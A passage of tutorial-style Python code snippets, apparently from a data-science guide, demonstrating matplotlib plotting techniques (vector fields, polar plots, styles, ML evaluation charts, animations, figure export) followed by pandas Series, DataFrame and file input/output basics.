y = np.linspace(-3, 3, 20)
X, Y = np.meshgrid(x, y)
U = -Y  # x-component
V = X   # y-component

fig, (ax1, ax2) = plt.subplots(1, 2, figsize=(12, 5))

# Quiver plot
ax1.quiver(X, Y, U, V, alpha=0.8)
ax1.set_title('Quiver Plot (Vector Field)')
ax1.set_aspect('equal')

# Stream plot
ax2.streamplot(X, Y, U, V, density=1.5, color=np.sqrt(U**2 + V**2),
               cmap='viridis', linewidth=1)
ax2.set_title('Stream Plot')
ax2.set_aspect('equal')

plt.tight_layout()
plt.show()

# Polar line plot
theta = np.linspace(0, 2*np.pi, 100)
r = 1 + np.sin(4*theta)

fig, (ax1, ax2) = plt.subplots(1, 2, subplot_kw=dict(projection='polar'),
                                figsize=(12, 5))

ax1.plot(theta, r)
ax1.set_title('Polar Line Plot')

# Polar scatter with colors
theta2 = np.random.uniform(0, 2*np.pi, 100)
r2 = np.random.uniform(0, 2, 100)
colors = theta2

ax2.scatter(theta2, r2, c=colors, cmap='hsv', alpha=0.75)
ax2.set_title('Polar Scatter')

plt.show()

# Polar bar (rose diagram)
fig, ax = plt.subplots(subplot_kw=dict(projection='polar'))
theta = np.linspace(0, 2*np.pi, 8, endpoint=False)
radii = np.random.rand(8) * 10
width = 2*np.pi / 8

bars = ax.bar(theta, radii, width=width, bottom=0.0, alpha=0.7)

# Color bars by height
for r, bar in zip(radii, bars):
    bar.set_facecolor(plt.cm.viridis(r / 10))

plt.show()

# See available styles
print(plt.style.available)

# Use a style
plt.style.use('seaborn-v0_8-darkgrid')
# Or: 'ggplot', 'fivethirtyeight', 'bmh', 'dark_background', etc.

# Example with different styles
styles = ['default', 'seaborn-v0_8-darkgrid', 'ggplot', 'fivethirtyeight']

fig, axes = plt.subplots(2, 2, figsize=(12, 10))
x = np.linspace(0, 10, 100)

for ax, style in zip(axes.flat, styles):
    with plt.style.context(style):
        ax.plot(x, np.sin(x), label='sin(x)')
        ax.plot(x, np.cos(x), label='cos(x)')
        ax.set_title(style)
        ax.legend()

plt.tight_layout()
plt.show()

import matplotlib as mpl

# View current settings
print(mpl.rcParams['font.size'])

# Temporary changes
with mpl.rc_context({'font.size': 14, 'lines.linewidth': 2}):
    plt.plot([1, 2, 3], [1, 4, 2])
    plt.show()

# Global changes (persists for session)
mpl.rcParams['font.size'] = 12
mpl.rcParams['font.family'] = 'serif'
mpl.rcParams['figure.figsize'] = (10, 6)
mpl.rcParams['axes.grid'] = True
mpl.rcParams['grid.alpha'] = 0.3
mpl.rcParams['lines.linewidth'] = 2
mpl.rcParams['axes.spines.top'] = False
mpl.rcParams['axes.spines.right'] = False

# Reset to defaults
mpl.rcParams.update(mpl.rcParamsDefault)

# Common rcParams for publications
pub_params = {
    'font.size': 10,
    'font.family': 'serif',
    'font.serif': ['Times New Roman'],
    'axes.labelsize': 12,
    'axes.titlesize': 14,
    'xtick.labelsize': 10,
    'ytick.labelsize': 10,
    'legend.fontsize': 10,
    'figure.figsize': (6, 4),
    'figure.dpi': 300,
    'savefig.dpi': 300,
    'savefig.bbox': 'tight',
    'axes.linewidth': 1,
    'lines.linewidth': 1.5,
}
mpl.rcParams.update(pub_params)

# Create custom style file: ~/.matplotlib/stylelib/mystyle.mplstyle
"""
# mystyle.mplstyle
figure.figsize: 10, 6
figure.dpi: 100

axes.grid: True
axes.grid.axis: both
grid.alpha: 0.3
grid.linestyle: --

axes.spines.top: False
axes.spines.right: False

font.size: 12
axes.labelsize: 14
axes.titlesize: 16

lines.linewidth: 2
lines.markersize: 8

legend.frameon: False
legend.loc: best
"""

# Use custom style
# plt.style.use('mystyle')

# Or use directly with context
custom_style = {
    'axes.grid': True,
    'grid.alpha': 0.3,
    'axes.spines.top': False,
    'axes.spines.right': False,
}

with plt.style.context(custom_style):
    plt.plot([1, 2, 3], [1, 4, 2])
    plt.show()

from sklearn.metrics import confusion_matrix
import itertools

def plot_confusion_matrix(cm, classes, normalize=False,
                         cmap=plt.cm.Blues):
    """
    Plot confusion matrix
    """
    if normalize:
        cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]

    fig, ax = plt.subplots(figsize=(8, 8))
    im = ax.imshow(cm, interpolation='nearest', cmap=cmap)
    ax.figure.colorbar(im, ax=ax)

    ax.set(xticks=np.arange(cm.shape[1]),
           yticks=np.arange(cm.shape[0]),
           xticklabels=classes,
           yticklabels=classes,
           ylabel='True label',
           xlabel='Predicted label')

    plt.setp(ax.get_xticklabels(), rotation=45, ha='right')

    # Add text annotations
    fmt = '.2f' if normalize else 'd'
    thresh = cm.max() / 2.
    for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):
        ax.text(j, i, format(cm[i, j], fmt),
                ha='center', va='center',
                color='white' if cm[i, j] > thresh else 'black')

    fig.tight_layout()
    return ax

# Example usage
y_true = np.random.randint(0, 3, 100)
y_pred = np.random.randint(0, 3, 100)
cm = confusion_matrix(y_true, y_pred)
plot_confusion_matrix(cm, classes=['Class A', 'Class B', 'Class C'])
plt.show()

from sklearn.metrics import roc_curve, auc

def plot_roc_curve(y_true, y_scores, n_classes):
    """
    Plot ROC curves for multi-class classification
    """
    fig, ax = plt.subplots(figsize=(10, 8))

    colors = plt.cm.Set1(np.linspace(0, 1, n_classes))

    for i, color in enumerate(colors):
        # Binary indicators for class i
        y_true_binary = (y_true == i).astype(int)
        y_score_class = y_scores[:, i]

        fpr, tpr, _ = roc_curve(y_true_binary, y_score_class)
        roc_auc = auc(fpr, tpr)

        ax.plot(fpr, tpr, color=color, lw=2,
                label=f'Class {i} (AUC = {roc_auc:.2f})')

    # Diagonal line
    ax.plot([0, 1], [0, 1], 'k--', lw=2, label='Random Classifier')

    ax.set_xlim([0.0, 1.0])
    ax.set_ylim([0.0, 1.05])
    ax.set_xlabel('False Positive Rate', fontsize=12)
    ax.set_ylabel('True Positive Rate', fontsize=12)
    ax.set_title('ROC Curves', fontsize=14)
    ax.legend(loc='lower right')
    ax.grid(alpha=0.3)

    return ax

# Example
n_samples, n_classes = 1000, 3
y_true = np.random.randint(0, n_classes, n_samples)
y_scores = np.random.rand(n_samples, n_classes)
y_scores = y_scores / y_scores.sum(axis=1, keepdims=True)  # Normalize

plot_roc_curve(y_true, y_scores, n_classes)
plt.show()

def plot_learning_curves(train_losses, val_losses, train_accs=None, val_accs=None):
    """
    Plot training and validation loss/accuracy curves
    """
    fig, axes = plt.subplots(1, 2, figsize=(14, 5))

    epochs = range(1, len(train_losses) + 1)

    # Loss curves
    axes[0].plot(epochs, train_losses, 'b-o', label='Training Loss',
                 markersize=4)
    axes[0].plot(epochs, val_losses, 'r-s', label='Validation Loss',
                 markersize=4)
    axes[0].set_xlabel('Epoch')
    axes[0].set_ylabel('Loss')
    axes[0].set_title('Training and Validation Loss')
    axes[0].legend()
    axes[0].grid(alpha=0.3)

    # Accuracy curves (if provided)
    if train_accs is not None and val_accs is not None:
        axes[1].plot(epochs, train_accs, 'b-o', label='Training Accuracy',
                     markersize=4)
        axes[1].plot(epochs, val_accs, 'r-s', label='Validation Accuracy',
                     markersize=4)
        axes[1].set_xlabel('Epoch')
        axes[1].set_ylabel('Accuracy')
        axes[1].set_title('Training and Validation Accuracy')
        axes[1].legend()
        axes[1].grid(alpha=0.3)
    else:
        axes[1].axis('off')

    plt.tight_layout()
    return fig

# Example
epochs = 50
train_losses = 2.0 * np.exp(-np.arange(epochs) / 10) + 0.1 * np.random.rand(epochs)
val_losses = 2.0 * np.exp(-np.arange(epochs) / 10) + 0.2 * np.random.rand(epochs) + 0.1
train_accs = 1 - np.exp(-np.arange(epochs) / 10) * 0.9
val_accs = 1 - np.exp(-np.arange(epochs) / 10) * 0.9 - 0.05

plot_learning_curves(train_losses, val_losses, train_accs, val_accs)
plt.show()

def plot_feature_importance(feature_names, importances, top_n=20):
    """
    Plot feature importance bar chart
    """
    # Sort by importance
    indices = np.argsort(importances)[::-1][:top_n]
    sorted_importances = importances[indices]
    sorted_names = [feature_names[i] for i in indices]

    fig, ax = plt.subplots(figsize=(10, 8))

    # Horizontal bar chart
    y_pos = np.arange(len(sorted_names))
    colors = plt.cm.viridis(sorted_importances / sorted_importances.max())

    bars = ax.barh(y_pos, sorted_importances, color=colors)
    ax.set_yticks(y_pos)
    ax.set_yticklabels(sorted_names)
    ax.invert_yaxis()  # Top feature at the top
    ax.set_xlabel('Importance', fontsize=12)
    ax.set_title(f'Top {top_n} Feature Importances', fontsize=14)

    # Add value labels
    for i, (bar, val) in enumerate(zip(bars, sorted_importances)):
        ax.text(val, i, f' {val:.3f}', va='center')

    plt.tight_layout()
    return fig

# Example
n_features = 50
feature_names = [f'Feature_{i}' for i in range(n_features)]
importances = np.random.exponential(0.1, n_features)

plot_feature_importance(feature_names, importances, top_n=15)
plt.show()

def plot_decision_boundary(X, y, model, resolution=0.02):
    """
    Plot decision boundary for 2D classification
    """
    # Setup marker generator and color map
    markers = ('o', 's', '^', 'v', '<')
    colors = ('red', 'blue', 'green', 'gray', 'cyan')
    cmap = plt.cm.RdYlBu

    # Plot decision surface
    x1_min, x1_max = X[:, 0].min() - 1, X[:, 0].max() + 1
    x2_min, x2_max = X[:, 1].min() - 1, X[:, 1].max() + 1

    xx1, xx2 = np.meshgrid(np.arange(x1_min, x1_max, resolution),
                           np.arange(x2_min, x2_max, resolution))

    # Predict on grid
    Z = model.predict(np.array([xx1.ravel(), xx2.ravel()]).T)
    Z = Z.reshape(xx1.shape)

    fig, ax = plt.subplots(figsize=(10, 8))

    # Plot filled contour
    ax.contourf(xx1, xx2, Z, alpha=0.3, cmap=cmap)
    ax.contour(xx1, xx2, Z, colors='black', linewidths=0.5, alpha=0.5)

    # Plot data points
    for idx, cl in enumerate(np.unique(y)):
        ax.scatter(x=X[y == cl, 0], y=X[y == cl, 1],
                  alpha=0.8, c=[colors[idx]], marker=markers[idx],
                  s=100, edgecolor='black', label=f'Class {cl}')

    ax.set_xlabel('Feature 1', fontsize=12)
    ax.set_ylabel('Feature 2', fontsize=12)
    ax.set_title('Decision Boundary', fontsize=14)
    ax.legend()

    return fig

# Example (requires a model with predict method)
# from sklearn.svm import SVC
# X = np.random.randn(200, 2)
# y = (X[:, 0] + X[:, 1] > 0).astype(int)
# model = SVC(kernel='rbf').fit(X, y)
# plot_decision_boundary(X, y, model)

def plot_attention_heatmap(attention_matrix, x_labels=None, y_labels=None):
    """
    Plot attention weights as heatmap
    Useful for visualizing transformer attention
    """
    fig, ax = plt.subplots(figsize=(12, 10))

    im = ax.imshow(attention_matrix, cmap='YlOrRd', aspect='auto')

    # Colorbar
    cbar = plt.colorbar(im, ax=ax)
    cbar.set_label('Attention Weight', rotation=270, labelpad=20)

    # Labels
    if x_labels is not None:
        ax.set_xticks(np.arange(len(x_labels)))
        ax.set_xticklabels(x_labels, rotation=45, ha='right')

    if y_labels is not None:
        ax.set_yticks(np.arange(len(y_labels)))
        ax.set_yticklabels(y_labels)

    ax.set_xlabel('Keys', fontsize=12)
    ax.set_ylabel('Queries', fontsize=12)
    ax.set_title('Attention Heatmap', fontsize=14)

    # Grid
    ax.set_xticks(np.arange(attention_matrix.shape[1]) - 0.5, minor=True)
    ax.set_yticks(np.arange(attention_matrix.shape[0]) - 0.5, minor=True)
    ax.grid(which='minor', color='gray', linestyle='-', linewidth=0.5)

    plt.tight_layout()
    return fig

# Example
seq_len = 10
attention = np.random.rand(seq_len, seq_len)
attention = attention / attention.sum(axis=1, keepdims=True)  # Normalize

tokens = [f'Token_{i}' for i in range(seq_len)]
plot_attention_heatmap(attention, x_labels=tokens, y_labels=tokens)
plt.show()

def plot_image_grid(images, labels=None, nrows=4, ncols=4, figsize=(12, 12)):
    """
    Display a grid of images
    """
    fig, axes = plt.subplots(nrows, ncols, figsize=figsize)

    for idx, ax in enumerate(axes.flat):
        if idx < len(images):
            # Handle grayscale and RGB
            if images[idx].ndim == 2:
                ax.imshow(images[idx], cmap='gray')
            else:
                ax.imshow(images[idx])

            if labels is not None:
                ax.set_title(f'Label: {labels[idx]}')

            ax.axis('off')
        else:
            ax.axis('off')

    plt.tight_layout()
    return fig

# Example
n_images = 16
images = [np.random.rand(28, 28) for _ in range(n_images)]
labels = np.random.randint(0, 10, n_images)

plot_image_grid(images, labels, nrows=4, ncols=4)
plt.show()

def plot_correlation_matrix(data, feature_names=None, method='pearson'):
    """
    Plot correlation matrix heatmap
    """
    # Compute correlation
    if method == 'pearson':
        corr = np.corrcoef(data.T)
    elif method == 'spearman':
        from scipy.stats import spearmanr
        corr, _ = spearmanr(data)

    fig, ax = plt.subplots(figsize=(12, 10))

    # Plot heatmap
    im = ax.imshow(corr, cmap='coolwarm', vmin=-1, vmax=1, aspect='auto')

    # Colorbar
    cbar = plt.colorbar(im, ax=ax)
    cbar.set_label('Correlation', rotation=270, labelpad=20)

    # Labels
    if feature_names is not None:
        ax.set_xticks(np.arange(len(feature_names)))
        ax.set_yticks(np.arange(len(feature_names)))
        ax.set_xticklabels(feature_names, rotation=45, ha='right')
        ax.set_yticklabels(feature_names)

    # Add correlation values
    for i in range(corr.shape[0]):
        for j in range(corr.shape[1]):
            text = ax.text(j, i, f'{corr[i, j]:.2f}',
                          ha='center', va='center',
                          color='white' if abs(corr[i, j]) > 0.5 else 'black',
                          fontsize=8)

    ax.set_title(f'{method.capitalize()} Correlation Matrix', fontsize=14)
    plt.tight_layout()
    return fig

# Example
n_samples, n_features = 100, 10
data = np.random.randn(n_samples, n_features)
feature_names = [f'Feature {i}' for i in range(n_features)]

plot_correlation_matrix(data, feature_names)
plt.show()

# Single image
img = np.random.rand(100, 100, 3)  # RGB

fig, ax = plt.subplots(figsize=(6, 6))
ax.imshow(img)
ax.axis('off')
plt.show()

# Grayscale
img_gray = np.random.rand(100, 100)

fig, (ax1, ax2) = plt.subplots(1, 2, figsize=(12, 5))
ax1.imshow(img_gray, cmap='gray')
ax1.set_title('Grayscale (gray cmap)')
ax1.axis('off')

ax2.imshow(img_gray, cmap='viridis')
ax2.set_title('Grayscale (viridis cmap)')
ax2.axis('off')

plt.show()

# Control interpolation
fig, axes = plt.subplots(2, 2, figsize=(10, 10))
small_img = np.random.rand(10, 10)

interpolations = ['nearest', 'bilinear', 'bicubic', 'lanczos']
for ax, interp in zip(axes.flat, interpolations):
    ax.imshow(small_img, cmap='gray', interpolation=interp)
    ax.set_title(f'Interpolation: {interp}')
    ax.axis('off')

plt.tight_layout()
plt.show()

# Load image (with PIL or similar)
# from PIL import Image
# img = np.array(Image.open('image.jpg'))

# Simulated image
img = np.random.randint(0, 255, (100, 100, 3), dtype=np.uint8)

fig, axes = plt.subplots(2, 3, figsize=(15, 10))

# Original
axes[0, 0].imshow(img)
axes[0, 0].set_title('Original')
axes[0, 0].axis('off')

# Channels
axes[0, 1].imshow(img[:, :, 0], cmap='Reds')
axes[0, 1].set_title('Red Channel')
axes[0, 1].axis('off')

axes[0, 2].imshow(img[:, :, 1], cmap='Greens')
axes[0, 2].set_title('Green Channel')
axes[0, 2].axis('off')

axes[1, 0].imshow(img[:, :, 2], cmap='Blues')
axes[1, 0].set_title('Blue Channel')
axes[1, 0].axis('off')

# Histogram
axes[1, 1].hist(img[:, :, 0].ravel(), bins=50, alpha=0.5, color='red', label='R')
axes[1, 1].hist(img[:, :, 1].ravel(), bins=50, alpha=0.5, color='green', label='G')
axes[1, 1].hist(img[:, :, 2].ravel(), bins=50, alpha=0.5, color='blue', label='B')
axes[1, 1].set_title('Histogram')
axes[1, 1].legend()

# Grayscale
gray = np.mean(img, axis=2)
axes[1, 2].imshow(gray, cmap='gray')
axes[1, 2].set_title('Grayscale')
axes[1, 2].axis('off')

plt.tight_layout()
plt.show()

# Base image
img = np.random.rand(100, 100, 3)

# Create mask
mask = np.zeros((100, 100))
mask[30:70, 30:70] = 1

fig, (ax1, ax2, ax3) = plt.subplots(1, 3, figsize=(15, 5))

# Original
ax1.imshow(img)
ax1.set_title('Original Image')
ax1.axis('off')

# Mask overlay
ax2.imshow(img)
ax2.imshow(mask, alpha=0.5, cmap='Reds')
ax2.set_title('With Mask Overlay')
ax2.axis('off')

# Masked image
masked_img = img.copy()
masked_img[mask == 0] = 0
ax3.imshow(masked_img)
ax3.set_title('Masked Image')
ax3.axis('off')

plt.tight_layout()
plt.show()

from matplotlib.animation import FuncAnimation

# Create figure
fig, ax = plt.subplots(figsize=(8, 6))
xdata, ydata = [], []
ln, = ax.plot([], [], 'r-', animated=True)

def init():
    ax.set_xlim(0, 2*np.pi)
    ax.set_ylim(-1, 1)
    return ln,

def update(frame):
    xdata.append(frame)
    ydata.append(np.sin(frame))
    ln.set_data(xdata, ydata)
    return ln,

ani = FuncAnimation(fig, update, frames=np.linspace(0, 2*np.pi, 128),
                    init_func=init, blit=True, interval=20)

# Save animation
# ani.save('sine_wave.gif', writer='pillow', fps=30)
# ani.save('sine_wave.mp4', writer='ffmpeg', fps=30)

plt.show()

# Animated scatter plot
fig, ax = plt.subplots(figsize=(8, 6))
scat = ax.scatter([], [], s=100, alpha=0.6)
ax.set_xlim(-5, 5)
ax.set_ylim(-5, 5)

def init():
    scat.set_offsets(np.empty((0, 2)))
    return scat,

def update(frame):
    # Generate random walk
    n_points = 50
    x = np.random.randn(n_points).cumsum() * 0.1
    y = np.random.randn(n_points).cumsum() * 0.1
    data = np.c_[x, y]
    scat.set_offsets(data)
    scat.set_array(np.arange(n_points))
    return scat,

ani = FuncAnimation(fig, update, frames=100, init_func=init,
                    blit=True, interval=50)
plt.show()

# Animated heatmap (useful for gradient visualization)
fig, ax = plt.subplots(figsize=(8, 6))

def animate(frame):
    ax.clear()
    data = np.random.rand(10, 10) * frame / 100
    im = ax.imshow(data, cmap='hot', vmin=0, vmax=1)
    ax.set_title(f'Frame {frame}')
    return [im]

ani = FuncAnimation(fig, animate, frames=100, interval=50)
plt.show()

# NumPy arrays are matplotlib's native format
x = np.linspace(0, 10, 1000)
y = np.sin(x)

fig, ax = plt.subplots()
ax.plot(x, y)
plt.show()

# Multi-dimensional data
data = np.random.randn(100, 100)
fig, ax = plt.subplots()
im = ax.imshow(data, cmap='viridis')
plt.colorbar(im, ax=ax)
plt.show()

import pandas as pd

# Create sample DataFrame
df = pd.DataFrame({
    'x': np.random.randn(100),
    'y': np.random.randn(100),
    'category': np.random.choice(['A', 'B', 'C'], 100)
})

# Pandas plotting (uses matplotlib)
fig, axes = plt.subplots(2, 2, figsize=(12, 10))

# Histogram
df['x'].hist(ax=axes[0, 0], bins=20)
axes[0, 0].set_title('Histogram')

# Scatter with categories
for cat in df['category'].unique():
    subset = df[df['category'] == cat]
    axes[0, 1].scatter(subset['x'], subset['y'], label=cat, alpha=0.6)
axes[0, 1].legend()
axes[0, 1].set_title('Scatter by Category')

# Box plot
df.boxplot(column=['x', 'y'], ax=axes[1, 0])
axes[1, 0].set_title('Box Plot')

# Time series
ts_df = pd.DataFrame({
    'date': pd.date_range('2023-01-01', periods=100),
    'value': np.random.randn(100).cumsum()
})
ts_df.plot(x='date', y='value', ax=axes[1, 1])
axes[1, 1].set_title('Time Series')

plt.tight_layout()
plt.show()

# Enable inline plotting
%matplotlib inline

# For interactive plots
%matplotlib notebook  # Old interactive backend
%matplotlib widget    # New interactive backend (requires ipympl)

# High-resolution figures
%config InlineBackend.figure_format = 'retina'

# Or in code
from IPython.display import set_matplotlib_formats
set_matplotlib_formats('svg')  # or 'pdf', 'retina'

import matplotlib

# Check current backend
print(matplotlib.get_backend())

# Set backend (do this before importing pyplot)
# matplotlib.use('Agg')  # Non-interactive (for servers)
# matplotlib.use('TkAgg')  # Interactive
# matplotlib.use('Qt5Agg')  # Interactive with Qt

# Common backends:
# - 'Agg': PNG output, no display
# - 'PDF', 'PS', 'SVG': Vector outputs
# - 'TkAgg', 'Qt5Agg', 'GTK3Agg': Interactive

# Close figures to free memory
fig, ax = plt.subplots()
ax.plot([1, 2, 3])
plt.savefig('plot.png')
plt.close(fig)  # Explicitly close

# Or close all figures
plt.close('all')

# For large datasets, downsample
large_x = np.linspace(0, 100, 1000000)
large_y = np.sin(large_x)

# Don't plot all points
step = len(large_x) // 1000
fig, ax = plt.subplots()
ax.plot(large_x[::step], large_y[::step])
plt.show()

fig, ax = plt.subplots()
ax.plot([1, 2, 3], [1, 4, 2])

# Vector formats (scalable, publication-quality)
plt.savefig('plot.pdf', format='pdf', bbox_inches='tight', dpi=300)
plt.savefig('plot.svg', format='svg', bbox_inches='tight')
plt.savefig('plot.eps', format='eps', bbox_inches='tight')

# Raster formats
plt.savefig('plot.png', format='png', bbox_inches='tight', dpi=300)
plt.savefig('plot.jpg', format='jpg', bbox_inches='tight', dpi=300, quality=95)

# Transparent background
plt.savefig('plot.png', transparent=True, bbox_inches='tight', dpi=300)

# Specific size
fig.set_size_inches(8, 6)
plt.savefig('plot.png', dpi=300)  # Will be 2400x1800 pixels

# Configure for publication
plt.rcParams.update({
    'font.size': 10,
    'font.family': 'serif',
    'axes.labelsize': 12,
    'axes.titlesize': 14,
    'xtick.labelsize': 10,
    'ytick.labelsize': 10,
    'legend.fontsize': 10,
    'figure.figsize': (6, 4),
    'figure.dpi': 300,
    'savefig.dpi': 300,
    'savefig.bbox': 'tight',
    'savefig.pad_inches': 0.1,
    'axes.linewidth': 1,
    'grid.linewidth': 0.5,
    'lines.linewidth': 1.5,
    'lines.markersize': 6,
    'patch.linewidth': 1,
    'xtick.major.width': 1,
    'ytick.major.width': 1,
    'xtick.minor.width': 0.5,
    'ytick.minor.width': 0.5,
})

# Create plot
fig, ax = plt.subplots()
x = np.linspace(0, 10, 100)
ax.plot(x, np.sin(x), label='sin(x)')
ax.plot(x, np.cos(x), label='cos(x)')
ax.set_xlabel('X')
ax.set_ylabel('Y')
ax.legend()
ax.grid(alpha=0.3)

# Save for publication
plt.savefig('publication_figure.pdf', format='pdf')
plt.savefig('publication_figure.png', dpi=600)  # High DPI for raster
plt.show()

# Complex multi-panel figure
fig = plt.figure(figsize=(14, 10))
gs = fig.add_gridspec(3, 3, hspace=0.3, wspace=0.3)

# Main plot (spans 2x2)
ax_main = fig.add_subplot(gs[:2, :2])
x = np.linspace(0, 10, 100)
ax_main.plot(x, np.sin(x))
ax_main.set_title('Main Plot', fontsize=14, fontweight='bold')

# Top right
ax_top = fig.add_subplot(gs[0, 2])
ax_top.hist(np.random.randn(1000), bins=30)
ax_top.set_title('Distribution')

# Middle right
ax_mid = fig.add_subplot(gs[1, 2])
ax_mid.scatter(np.random.rand(50), np.random.rand(50))
ax_mid.set_title('Scatter')

# Bottom (spans all columns)
ax_bottom = fig.add_subplot(gs[2, :])
ax_bottom.plot(x, np.cos(x))
ax_bottom.set_title('Bottom Plot')
ax_bottom.set_xlabel('X')

plt.show()

# Multiple subplots with shared colorbar
fig, axes = plt.subplots(1, 3, figsize=(15, 4))

vmin, vmax = -1, 1  # Shared scale

for i, ax in enumerate(axes):
    data = np.random.randn(10, 10)
    im = ax.imshow(data, cmap='RdBu', vmin=vmin, vmax=vmax)
    ax.set_title(f'Subplot {i+1}')

# Single colorbar for all subplots
fig.colorbar(im, ax=axes, orientation='horizontal',
             fraction=0.05, pad=0.1, label='Value')

plt.tight_layout()
plt.show()

import matplotlib.dates as mdates
from datetime import datetime, timedelta

# Generate time series data
start_date = datetime(2023, 1, 1)
dates = [start_date + timedelta(days=i) for i in range(365)]
values = np.random.randn(365).cumsum()

fig, ax = plt.subplots(figsize=(12, 6))
ax.plot(dates, values)

# Format x-axis
ax.xaxis.set_major_locator(mdates.MonthLocator())
ax.xaxis.set_major_formatter(mdates.DateFormatter('%b %Y'))
ax.xaxis.set_minor_locator(mdates.WeekdayLocator())

# Rotate dates
plt.setp(ax.get_xticklabels(), rotation=45, ha='right')

ax.set_xlabel('Date')
ax.set_ylabel('Value')
ax.set_title('Time Series with Date Formatting')
ax.grid(alpha=0.3)

plt.tight_layout()
plt.show()

x = np.logspace(0, 5, 100)
y = x ** 2

fig, axes = plt.subplots(2, 2, figsize=(12, 10))

# Linear-linear
axes[0, 0].plot(x, y)
axes[0, 0].set_title('Linear-Linear')

# Log-linear (semi-log y)
axes[0, 1].semilogy(x, y)
axes[0, 1].set_title('Log-Linear')

# Linear-log (semi-log x)
axes[1, 0].semilogx(x, y)
axes[1, 0].set_title('Linear-Log')

# Log-log
axes[1, 1].loglog(x, y)
axes[1, 1].set_title('Log-Log')

for ax in axes.flat:
    ax.grid(True, which='both', alpha=0.3)

plt.tight_layout()
plt.show()

fig, ax = plt.subplots(figsize=(10, 6))

x = np.linspace(0, 10, 100)
y1 = np.sin(x)
y2 = np.sin(x) + 1

# Fill between two curves
ax.fill_between(x, y1, y2, alpha=0.3, label='Between curves')

# Fill to axis
ax.fill_between(x, 0, y1, where=(y1 > 0), alpha=0.3,
                color='green', label='Positive')
ax.fill_between(x, 0, y1, where=(y1 < 0), alpha=0.3,
                color='red', label='Negative')

ax.plot(x, y1, 'k-', linewidth=2)
ax.plot(x, y2, 'k-', linewidth=2)
ax.axhline(0, color='black', linewidth=0.5)

ax.legend()
ax.set_title('Filled Areas')
plt.show()

import pandas as pd
import numpy as np

# The pandas way
df = pd.DataFrame({
    'name': ['Alice', 'Bob', 'Charlie'],
    'age': [25, 30, 35],
    'salary': [50000, 60000, 70000]
})

# Labeled access
df['name']  # Get column by name
df.loc[0]   # Get row by label

# vs NumPy (unlabeled)
arr = np.array([[25, 50000], [30, 60000], [35, 70000]])
arr[:, 0]   # Get column by position (what does column 0 mean?)

# Creating Series
s = pd.Series([1, 2, 3, 4, 5])
print(s)
# 0    1
# 1    2
# 2    3
# 3    4
# 4    5
# dtype: int64

# Custom index
s = pd.Series([1, 2, 3], index=['a', 'b', 'c'])
print(s['a'])  # 1

# From dictionary
data = {'a': 1, 'b': 2, 'c': 3}
s = pd.Series(data)

# Series attributes
s.values    # Underlying NumPy array
s.index     # Index object
s.dtype     # Data type
s.shape     # Shape tuple
s.size      # Number of elements
s.name      # Series name

s = pd.Series([1, 2, 3, 4, 5])

# Vectorized operations
s + 10      # Add 10 to all elements
s * 2       # Multiply by 2
s ** 2      # Square all elements
np.sqrt(s)  # NumPy functions work

# Statistical methods
s.mean()
s.std()
s.median()
s.quantile(0.75)
s.sum()
s.cumsum()  # Cumulative sum
s.min(), s.max()

# Boolean operations
s[s > 2]         # Filter
s.between(2, 4)  # Values between 2 and 4
s.isin([1, 3, 5])  # Check membership

# Creating DataFrames
df = pd.DataFrame({
    'A': [1, 2, 3, 4],
    'B': [10, 20, 30, 40],
    'C': ['w', 'x', 'y', 'z']
})

# From list of dictionaries
data = [
    {'name': 'Alice', 'age': 25, 'city': 'NYC'},
    {'name': 'Bob', 'age': 30, 'city': 'LA'}
]
df = pd.DataFrame(data)

# From NumPy array
arr = np.random.randn(4, 3)
df = pd.DataFrame(arr,
                  columns=['A', 'B', 'C'],
                  index=['row1', 'row2', 'row3', 'row4'])

# From dict of Series
df = pd.DataFrame({
    'A': pd.Series([1, 2, 3]),
    'B': pd.Series([4, 5, 6])
})

# Basic information
df.shape        # (rows, columns)
df.size         # Total elements
df.columns      # Column names
df.index        # Row index
df.dtypes       # Data types of each column
df.info()       # Summary information
df.describe()   # Statistical summary

# Quick views
df.head(n=5)    # First n rows
df.tail(n=5)    # Last n rows
df.sample(n=5)  # Random n rows

# Column access
df['A']         # Returns Series
df[['A', 'B']]  # Returns DataFrame
df.A            # Attribute access (only if valid Python identifier)

# Creating custom index
df = pd.DataFrame({'A': [1, 2, 3]},
                  index=['row1', 'row2', 'row3'])

# Index operations
df.index = ['a', 'b', 'c']  # Set new index
df.reset_index()             # Reset to default integer index
df.reset_index(drop=True)    # Reset without keeping old index
df.set_index('column_name')  # Set column as index

# Multi-level index (hierarchical)
arrays = [
    ['A', 'A', 'B', 'B'],
    [1, 2, 1, 2]
]
index = pd.MultiIndex.from_arrays(arrays, names=['letter', 'number'])
df = pd.DataFrame({'value': [10, 20, 30, 40]}, index=index)

# Accessing multi-index
df.loc['A']           # All rows where first level is 'A'
df.loc[('A', 1)]      # Specific row
df.xs('A', level=0)   # Cross-section

# CSV
df = pd.read_csv('data.csv')
df = pd.read_csv('data.csv',
                 sep=';',              # Delimiter
                 header=0,             # Row for column names
                 index_col=0,          # Column to use as index
                 usecols=['A', 'B'],   # Columns to read
                 dtype={'A': int},     # Specify dtypes
                 parse_dates=['date'], # Parse dates
                 na_values=['?', 'N/A'],  # Additional NA values
                 encoding='utf-8',     # Character encoding
                 nrows=1000)           # Read first 1000 rows

# Excel
df = pd.read_excel('data.xlsx', sheet_name='Sheet1')
df = pd.read_excel('data.xlsx', sheet_name=0)  # First sheet

# JSON
df = pd.read_json('data.json')
df = pd.read_json('data.json', orient='records')  # List of dicts
df = pd.read_json('data.json', orient='index')    # Dict of dicts

# SQL
import sqlite3
conn = sqlite3.connect('database.db')
df = pd.read_sql('SELECT * FROM table', conn)
df = pd.read_sql_query('SELECT * FROM table WHERE id > 10', conn)
df = pd.read_sql_table('table_name', conn)

# Parquet (efficient columnar format)
df = pd.read_parquet('data.parquet')

# HTML tables
dfs = pd.read_html('https://example.com/page.html')  # Returns list

# Clipboard
df = pd.read_clipboard()  # Read from clipboard

# CSV
df.to_csv('output.csv', index=False)
df.to_csv('output.csv',
          sep='\t',              # Tab-separated
          columns=['A', 'B'],    # Select columns
          header=True,           # Include header
          index=True,            # Include index
          encoding='utf-8')

# Excel
df.to_excel('output.xlsx', sheet_name='Sheet1', index=False)

# Multiple sheets
with pd.ExcelWriter('output.xlsx') as writer:
    df1.to_excel(writer, sheet_name='Sheet1')
    df2.to_excel(writer, sheet_name='Sheet2')

# JSON
df.to_json('output.json', orient='records', indent=2)

# SQL
df.to_sql('table_name', conn, if_exists='replace', index=False)
# if_exists: 'fail', 'replace', 'append'

# Parquet
